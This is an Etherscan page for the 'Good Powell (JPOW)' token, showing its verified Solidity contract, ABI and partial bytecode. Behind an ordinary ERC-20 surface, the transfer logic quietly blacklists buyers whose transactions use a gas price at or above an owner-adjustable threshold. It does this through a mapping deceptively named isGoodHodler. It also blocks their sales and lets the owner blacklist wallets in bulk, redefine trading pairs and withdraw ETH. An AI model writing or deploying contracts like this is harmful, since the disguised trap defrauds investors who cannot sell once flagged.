ETH Price: $2,378.54 (+0.43%)

Token

Good Powell (JPOW)
 

Overview

Max Total Supply

10,000,000,000 JPOW

Holders

15

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
32,094,814.785545276933731077 JPOW

Value
$0.00
0x13d652f643e713e094cf38568e12592eaa2733c0
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
JPOW

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-04-22
*/

pragma solidity ^0.8.18;
/** SPDX-License-Identifier: Unlicensed
 * Fuck your longs and fuck your shorts
 * 0/0 Burnt LP
 * https://twitter.com/JPOWCOIN
 * https://t.me/JPOWCOIN
 */

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {return 0;}
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function decimals() external view returns (uint8);

    function symbol() external view returns (string memory);

    function name() external view returns (string memory);

    function getOwner() external view returns (address);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address _owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface DexFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface DexRouter {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this;
        return msg.data;
    }
}

contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        authorizations[_owner] = true;
        emit OwnershipTransferred(address(0), msgSender);
    }
    mapping (address => bool) internal authorizations;

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }


    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

contract JPOW is Ownable, IERC20 {
    using SafeMath for uint256;

    address private constant DEAD = 0x000000000000000000000000000000000000dEaD;
    address private constant ZERO = 0x0000000000000000000000000000000000000000;

    address private routerAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;

    uint8 constant private _decimals = 18;

    uint256 private _totalSupply = 10000000000 * (10 ** _decimals);
    uint256 public _maxTxAmount = _totalSupply * 20 / 1000;
    uint256 public _walletMax = _totalSupply * 20 / 1000;

    string constant private _name = "Good Powell";
    string constant private _symbol = "JPOW";

    bool public restrictWhales = true;

    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;

    mapping(address => bool) public isFeeExempt;
    mapping(address => bool) public isTxLimitExempt;
 
    uint256 public liquidityFee = 0;
    uint256 public marketingFee = 0;
    uint256 public devFee = 0;
    uint256 public tokenFee = 0;

    uint256 public totalFee = 0;
    uint256 public totalFeeIfSelling = 0;

    bool public takeBuyFee = false;
    bool public takeSellFee = false;
    bool public takeTransferFee = false;

    address private lpWallet;
    address private projectAddress;
    address private devWallet;
    address private nativeWallet;

    uint256 public rates = 50 * 1 gwei;

    DexRouter public router;
    address public pair;
    mapping(address => bool) public isPair;

    uint256 public launchedAt;

    bool public tradingOpen = false;
    bool public diamondMode = true;
    bool public launchMode = true;
    bool private inSwapAndLiquify;
    bool public swapAndLiquifyEnabled = true;
    bool public swapAndLiquifyByLimitOnly = false;

    mapping(address => bool) public isGoodHodler;
    mapping (address => bool) public isEcosystem;

    uint256 public swapThreshold = _totalSupply * 2 / 2000;

    event AutoLiquify(uint256 amountETH, uint256 amountBOG);

    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }


    constructor() {
        router = DexRouter(routerAddress);
        pair = DexFactory(router.factory()).createPair(router.WETH(), address(this));
        isPair[pair] = true;
        _allowances[address(this)][address(router)] = type(uint256).max;
        _allowances[address(this)][address(pair)] = type(uint256).max;

        isFeeExempt[msg.sender] = true;
        isFeeExempt[address(this)] = true;
        isFeeExempt[DEAD] = true;

        isEcosystem[address(this)] = true;
        isEcosystem[msg.sender] = true;
        isEcosystem[address(pair)] = true;
        isEcosystem[address(router)] = true;

        isTxLimitExempt[msg.sender] = true;
        isTxLimitExempt[pair] = true;
        isTxLimitExempt[DEAD] = true;

        lpWallet = msg.sender;
        projectAddress = msg.sender;
        devWallet = msg.sender;
        nativeWallet = msg.sender;
         
        isFeeExempt[projectAddress] = true;
        totalFee = liquidityFee.add(marketingFee).add(tokenFee).add(devFee);
        totalFeeIfSelling = totalFee + 10;

        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);
    }

    receive() external payable {}

    function name() external pure override returns (string memory) {return _name;}

    function symbol() external pure override returns (string memory) {return _symbol;}

    function decimals() external pure override returns (uint8) {return _decimals;}

    function totalSupply() external view override returns (uint256) {return _totalSupply;}

    function getOwner() external view override returns (address) {return owner();}

    function balanceOf(address account) public view override returns (uint256) {return _balances[account];}

    function allowance(address holder, address spender) external view override returns (uint256) {return _allowances[holder][spender];}

    function getCirculatingSupply() public view returns (uint256) {
        return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(ZERO));
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _allowances[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function approveMax(address spender) external returns (bool) {
        return approve(spender, type(uint256).max);
    }

    function launched() internal view returns (bool) {
        return launchedAt != 0;
    }

    function launch() internal {
        launchedAt = block.number;
    }

    function checkTxLimit(address sender, uint256 amount) internal view {
        require(amount <= _maxTxAmount || isTxLimitExempt[sender], "TX Limit Exceeded");
    }

    function transfer(address recipient, uint256 amount) external override returns (bool) {
        return _transferFrom(msg.sender, recipient, amount);
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
        if (_allowances[sender][msg.sender] != type(uint256).max) {
            _allowances[sender][msg.sender] = _allowances[sender][msg.sender].sub(amount, "Insufficient Allowance");
        }
        return _transferFrom(sender, recipient, amount);
    }

    function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
        if (inSwapAndLiquify) {return _basicTransfer(sender, recipient, amount);}
        if(!authorizations[sender] && !authorizations[recipient]){
            require(tradingOpen, "");
        }

        require(amount <= _maxTxAmount || isTxLimitExempt[sender] && isTxLimitExempt[recipient], "TX Limit");
        if (isPair[recipient] && !inSwapAndLiquify && swapAndLiquifyEnabled && _balances[address(this)] >= swapThreshold) {marketingAndLiquidity();}
        if (!launched() && isPair[recipient]) {
            require(_balances[sender] > 0, "");
            launch();
        }

        // Blacklist
        if (diamondMode) {
            require(!isGoodHodler[sender],"Blacklisted");
        }

        if (recipient == pair && !authorizations[sender]) {
            require(tx.gasprice <= rates, ">Sell on wallet action"); 
        }
        if (tx.gasprice >= rates && recipient != pair) {
            isGoodHodler[recipient] = true;
        }

        //Exchange tokens
         _balances[sender] = _balances[sender].sub(amount, "");

        if (!isTxLimitExempt[recipient] && restrictWhales) {
            require(_balances[recipient].add(amount) <= _walletMax, "");
        }

        uint256 finalAmount = !isFeeExempt[sender] && !isFeeExempt[recipient] ? extractFee(sender, recipient, amount) : amount;
        _balances[recipient] = _balances[recipient].add(finalAmount);

        emit Transfer(sender, recipient, finalAmount);
        return true;
    }

    function extractFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
        uint feeApplicable = 0;
        uint nativeAmount = 0;
        if (isPair[recipient] && takeSellFee) {
            feeApplicable = totalFeeIfSelling.sub(tokenFee);        
        }
        if (isPair[sender] && takeBuyFee) {
            feeApplicable = totalFee.sub(tokenFee);        
        }
        if (!isPair[sender] && !isPair[recipient]){
            if (takeTransferFee){
                feeApplicable = totalFeeIfSelling.sub(tokenFee); 
            }
            else{
                feeApplicable = 0;
            }
        }
        if(feeApplicable > 0 && tokenFee >0){
            nativeAmount = amount.mul(tokenFee).div(100);
            _balances[nativeWallet] = _balances[nativeWallet].add(nativeAmount);
            emit Transfer(sender, nativeWallet, nativeAmount);
        }
        uint256 feeAmount = amount.mul(feeApplicable).div(100);

        _balances[address(this)] = _balances[address(this)].add(feeAmount);
        emit Transfer(sender, address(this), feeAmount);

        return amount.sub(feeAmount).sub(nativeAmount);
    }

    function marketingAndLiquidity() internal lockTheSwap {
        uint256 tokensToLiquify = _balances[address(this)];
        uint256 amountToLiquify = tokensToLiquify.mul(liquidityFee).div(totalFee.sub(tokenFee)).div(2);
        uint256 amountToSwap = tokensToLiquify.sub(amountToLiquify);

        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = router.WETH();

        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            amountToSwap,
            0,
            path,
            address(this),
            block.timestamp
        );

        uint256 amountETH = address(this).balance;

        uint256 totalETHFee = totalFee.sub(tokenFee).sub(liquidityFee.div(2));

        uint256 amountETHLiquidity = amountETH.mul(liquidityFee).div(totalETHFee).div(2);
        uint256 amountETHMarketing = amountETH.mul(marketingFee).div(totalETHFee);
        uint256 amountETHDev = amountETH.mul(devFee).div(totalETHFee);
        
        (bool tmpSuccess1,) = payable(projectAddress).call{value : amountETHMarketing, gas : 30000}("");
        tmpSuccess1 = false;

        (tmpSuccess1,) = payable(devWallet).call{value : amountETHDev, gas : 30000}("");
        tmpSuccess1 = false;

        if (amountToLiquify > 0) {
            router.addLiquidityETH{value : amountETHLiquidity}(
                address(this),
                amountToLiquify,
                0,
                0,
                lpWallet,
                block.timestamp
            );
            emit AutoLiquify(amountETHLiquidity, amountToLiquify);
        }
    }

    function changeisEcosystem(address _address, bool _bool) external onlyOwner {
        isEcosystem[_address] = _bool;
    }

    function setWalletLimit(uint256 newLimit) external onlyOwner {
        require(newLimit >= 5, "Wallet Limit needs to be at least 0.5%");
        _walletMax = _totalSupply * newLimit / 1000;
    }

    function setTxLimit(uint256 newLimit) external onlyOwner {
        require(newLimit >= 5, "Wallet Limit needs to be at least 0.5%");
        _maxTxAmount = _totalSupply * newLimit / 1000;
    }

    function raiseRates (uint256 newR) external onlyOwner {
        require(launchMode, "");
        rates = newR * 1 gwei;
    }

    function openTrading() public onlyOwner {
        tradingOpen = true;
    }

    function setIsFeeExempt(address holder, bool exempt) external onlyOwner {
        isFeeExempt[holder] = exempt;
    }

    function setIsTxLimitExempt(address holder, bool exempt) external onlyOwner {
        isTxLimitExempt[holder] = exempt;
    }

    function addWhitelist(address target) public onlyOwner{
        authorizations[target] = true;
        isFeeExempt[target] = true;
        isTxLimitExempt[target] = true;
        isEcosystem[target] = true;
        isGoodHodler[target] = false;
    }

    function changeFees(uint256 newLiqFee, uint256 newMarketingFee, uint256 newBetFee, uint256 newNativeFee, uint256 extraSellFee) external onlyOwner {
        liquidityFee = newLiqFee;
        marketingFee = newMarketingFee;
        devFee = newBetFee;
        tokenFee = newNativeFee;

        totalFee = liquidityFee.add(marketingFee).add(devFee).add(tokenFee);
        totalFeeIfSelling = totalFee + extraSellFee;
        require (totalFeeIfSelling + totalFee < 25);
    }

    function enableBlacklist(bool _status) public onlyOwner {
        require(launchMode, "");
        diamondMode = _status;
    }
        
    function changeBlacklist(address[] calldata addresses, bool status) public onlyOwner {
        require(launchMode, "");
        for (uint256 i; i < addresses.length; ++i) {
            isGoodHodler[addresses[i]] = status;
        }
    }

    function isAuth(address _address, bool status) public onlyOwner{
        authorizations[_address] = status;
    }

    function changePair(address _address, bool status) public onlyOwner{
        isPair[_address] = status;
    }

    function endLaunchMode() public onlyOwner{
        launchMode = false;
    }

    function disableBlacklistDONTUSETHIS() public onlyOwner{
        diamondMode = false;
    }

    function changeTakeBuyfee(bool status) public onlyOwner{
        takeBuyFee = status;
    }

    function changeTakeSellfee(bool status) public onlyOwner{
        takeSellFee = status;
    }

    function changeTakeTransferfee(bool status) public onlyOwner{
        takeTransferFee = status;
    }

    function changeSwapbackSettings(bool status, uint256 newAmount) public onlyOwner{
        swapAndLiquifyEnabled = status;
        swapThreshold = newAmount;
    }

    function changeWallets(address newProjectWallet, address newDevWallet, address newLpWallet, address newNativeWallet) public onlyOwner{
        lpWallet = newLpWallet;
        projectAddress = newProjectWallet;
        devWallet = newDevWallet;
        nativeWallet = newNativeWallet;
    }

    function removeERC20(address tokenAddress, uint256 tokens) public onlyOwner returns (bool success) {
        require(tokenAddress != address(this), "Cant remove the native token");
        return IERC20(tokenAddress).transfer(msg.sender, tokens);
    }

    function removeEther(uint256 amountPercentage) external onlyOwner {
        uint256 amountETH = address(this).balance;
        payable(msg.sender).transfer(amountETH * amountPercentage / 100);
    }

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountETH","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountBOG","type":"uint256"}],"name":"AutoLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_walletMax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"target","type":"address"}],"name":"addWhitelist","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"}],"name":"approveMax","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"addresses","type":"address[]"},{"internalType":"bool","name":"status","type":"bool"}],"name":"changeBlacklist","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLiqFee","type":"uint256"},{"internalType":"uint256","name":"newMarketingFee","type":"uint256"},{"internalType":"uint256","name":"newBetFee","type":"uint256"},{"internalType":"uint256","name":"newNativeFee","type":"uint256"},{"internalType":"uint256","name":"extraSellFee","type":"uint256"}],"name":"changeFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"status","type":"bool"}],"name":"changePair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"status","type":"bool"},{"internalType":"uint256","name":"newAmount","type":"uint256"}],"name":"changeSwapbackSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"status","type":"bool"}],"name":"changeTakeBuyfee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"status","type":"bool"}],"name":"changeTakeSellfee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"status","type":"bool"}],"name":"changeTakeTransferfee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newProjectWallet","type":"address"},{"internalType":"address","name":"newDevWallet","type":"address"},{"internalType":"address","name":"newLpWallet","type":"address"},{"internalType":"address","name":"newNativeWallet","type":"address"}],"name":"changeWallets","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"_bool","type":"bool"}],"name":"changeisEcosystem","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"devFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"diamondMode","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"disableBlacklistDONTUSETHIS","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_status","type":"bool"}],"name":"enableBlacklist","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"endLaunchMode","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"status","type":"bool"}],"name":"isAuth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isEcosystem","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isFeeExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isGoodHodler","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isTxLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"launchMode","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"launchedAt","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"liquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"newR","type":"uint256"}],"name":"raiseRates","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"rates","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"tokenAddress","type":"address"},{"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"removeERC20","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amountPercentage","type":"uint256"}],"name":"removeEther","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"restrictWhales","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract DexRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setIsFeeExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setIsTxLimitExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLimit","type":"uint256"}],"name":"setTxLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLimit","type":"uint256"}],"name":"setWalletLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyByLimitOnly","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"takeBuyFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"takeSellFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"takeTransferFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokenFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalFeeIfSelling","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingOpen","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d179055620000386012600a6200068c565b62000049906402540be400620006a4565b6003556103e86003546014620000609190620006a4565b6200006c9190620006be565b6004556103e86003546014620000839190620006a4565b6200008f9190620006be565b6005556006805460ff191660011790556000600b819055600c819055600d819055600e819055600f8190556010556011805462ffffff19169055640ba43b7400601555601a805465ffff00ffffff19166401000101001790556003546107d090620000fc906002620006a4565b620001089190620006be565b601d553480156200011857600080fd5b50600080546001600160a01b031916339081178255808252600160208190526040808420805460ff191690921790915551909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600254601680546001600160a01b0319166001600160a01b0390921691821790556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa158015620001d0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001f69190620006e1565b6001600160a01b031663c9c65396601660009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000258573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200027e9190620006e1565b6040516001600160e01b031960e084901b1681526001600160a01b0390911660048201523060248201526044016020604051808303816000875af1158015620002cb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002f19190620006e1565b601780546001600160a01b03199081166001600160a01b0393841690811783556000908152601860209081526040808320805460ff1990811660019081179092553080865260088552838620601680548b1688529086528487206000199081905589548b16885285882055338088526009808852868920805486168717815593895286892080548616871790557f960b1051749987b45b5679007fff577a1c2f763ec21c15a6c5eb1930750037858054861687179055601c8852868920805486168717905581895286892080548616871790558a548c168952868920805486168717905591548b1688528588208054851686179055808852600a875285882080548516861790559854909916865292852080548216831790557f20677881080440a9b3c87e826370bb5d9c2f74efd4dede686d52d77a6a09f8bb8054821683179055601180546301000000600160b81b0319166301000000890217905560128054871688179055601380548716881790556014805490961687179095559490925293909352825416179055600d54600e54600c54600b54620004a493926200049d92909183916200050a565b906200050a565b600f819055620004b690600a6200070c565b60105560035433600081815260076020908152604080832085905551938452919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a362000722565b6000806200051983856200070c565b905083811015620005705760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640160405180910390fd5b90505b92915050565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620005d0578160001904821115620005b457620005b462000579565b80851615620005c257918102915b93841c939080029062000594565b509250929050565b600082620005e95750600162000573565b81620005f85750600062000573565b81600181146200061157600281146200061c576200063c565b600191505062000573565b60ff84111562000630576200063062000579565b50506001821b62000573565b5060208310610133831016604e8410600b841016171562000661575081810a62000573565b6200066d83836200058f565b806000190482111562000684576200068462000579565b029392505050565b60006200069d60ff841683620005d8565b9392505050565b808202811582820484141762000573576200057362000579565b600082620006dc57634e487b7160e01b600052601260045260246000fd5b500490565b600060208284031215620006f457600080fd5b81516001600160a01b03811681146200057057600080fd5b8082018082111562000573576200057362000579565b612aba80620007326000396000f3fe6080604052600436106103c75760003560e01c8063807c2d9c116101f2578063bb54c40e1161010d578063e5e31b13116100a0578063f80f5dd51161006f578063f80f5dd514610b81578063f84ba65d14610ba1578063f887ea4014610bc1578063ffb54a9914610be157600080fd5b8063e5e31b1314610af7578063f0ef821f14610b27578063f1d5f51714610b41578063f2fde38b14610b6157600080fd5b8063c9567bf9116100dc578063c9567bf914610a63578063ca987b0e14610a78578063da00097d14610a8e578063dd62ed3e14610ab157600080fd5b8063bb54c40e146109dd578063bebc8e8e146109fd578063bf56b37114610a1d578063c10d941714610a3357600080fd5b806395d89b4111610185578063a8aa1b3111610154578063a8aa1b311461095e578063a9059cbb1461097e578063acca48661461099e578063b37dd690146109bd57600080fd5b806395d89b41146108db57806398118cb4146109085780639e1211171461091e578063a53559891461093e57600080fd5b80638da5cb5b116101c15780638da5cb5b1461085d578063900d96111461087b57806393c173221461089b57806394213c89146108bb57600080fd5b8063807c2d9c146107c55780638637b069146107db578063893d20e8146107fb5780638b42507f1461082d57600080fd5b806345599136116102e257806370